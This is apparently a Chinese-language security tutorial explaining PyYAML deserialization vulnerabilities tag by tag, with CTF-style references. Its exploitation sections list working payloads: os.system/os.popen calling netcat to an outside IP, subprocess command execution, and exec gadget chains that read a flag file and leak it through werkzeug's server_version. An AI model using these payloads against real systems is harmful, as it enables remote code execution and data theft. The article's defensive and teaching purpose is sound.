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PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞
从 PyYaml 版本 6.0 开始，
load的默认加载器已切换到 SafeLoader，以降低远程代码执行的风险。更新后易受攻击的是yaml.unsafe_load和yaml.load(input, Loader=yaml.UnsafeLoader)
1.!!python/object:
!!python/object标签指示 YAML 解析器应该将对应的 YAML 片段解析为一个 Python 对象
import yaml class MyClass: def __init__(self, attribute1, attribute2): self.attribute1 = attribute1 self.attribute2 = attribute2 def __repr__(self): return f"MyClass(attribute1={self.attribute1}, attribute2={self.attribute2})" # 创建一个对象
obj = MyClass('value1', 'value2') # 序列化对象为 YAMLyaml_str = yaml.dump(obj)
print(yaml_str)
!!python/object:__main__.MyClass
attribute1: value1
attribute2: value2
2.!!python/object/apply:
!!python/object/apply标签在 YAML 中用于表示调用一个可调用对象（例如函数或构造函数）并将其结果表示为一个对象。
import yaml yaml.load('!!python/object/apply:print [\'Hello,Word\']', Loader=yaml.UnsafeLoader)
import yaml yaml.load('''
!!python/object/apply:print
- 'hello world'
''', Loader=yaml.UnsafeLoader)
利用
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
.....
3.!!python/name:
查看以下 YAML 数据：
!!python/name:math.pi
在这个例子中，!!python/name:math.pi 标签指向了 Python 的 math 模块中的 pi 常量。反序列化过程中，PyYAML 会将其解析为 math.pi 的值，即圆周率 3.141592653589793。
假设你有一个 Python 函数 add，你想在 YAML 中引用它：
# example.pydef add(a, b):return a + b
你可以在 YAML 文件中这样写：
!!python/name:example.add
在反序列化时，这个 YAML 数据会被解释为 example 模块中的 add 函数。
4.!!python/object/new:
!!python/object/new:允许直接创建新的 Python 对象，而不是通过调用构造函数
语法结构
!!python/object/new 标记的 YAML 语法结构如下：
!!python/object/new:<class>
args:- arg1- arg2
state:attribute1: value1attribute2: value2
在这个结构中：
<class>是你想要创建的类的全限定名。args是一个列表，包含传递给新对象 new 方法的参数。state是一个映射，包含对象的属性和值。
利用
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
或更复杂的利用
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warningstate:update: !!python/name:exec
-
!!python/object/new:str这一标签告诉 PyYAML 创建一个新的 Python
str对象。!!python/object/new:ClassName是 PyYAML 的特殊标签，用于通过调用类的__new__方法创建对象。 -
state: !!python/tuple这是为
str对象设置一个属性state，其值是一个 Python 元组（tuple） -
update: !!python/name:exec这一部分创建了一个新的
Warning对象，并为其设置了一个state属性。state属性是一个字典，其中update键被赋值为exec函数。
这段数据等价于
Warning.update('print(getattr(open("flag.txt"), "read")())')
由于 Warning.update 被指向了 exec 函数，这实际上变成了
exec('print(getattr(open("flag.txt"), "read")())')
还有更多用法
!!python/object/new:typeargs:- exp- !!python/tuple []- {"extend": !!python/name:exec }listitems: |'python code'
替换server_version常量
!!python/object/new:typeargs:- exp- !!python/tuple []- {"extend": !!python/name:exec }listitems: |r=open("/flag").read()import werkzeugsetattr(werkzeug.serving.WSGIRequestHandler, "server_version",r )
References
PayloadsAllTheThings/Insecure Deserialization/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
Python Yaml Deserialization - hacktricks.xyz
YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13
PyYAML Documentation
Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021
[CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt
DASCTF2024最后一战｜寒夜破晓，冬至终章 官方WP
本文由A5rZ,整理编写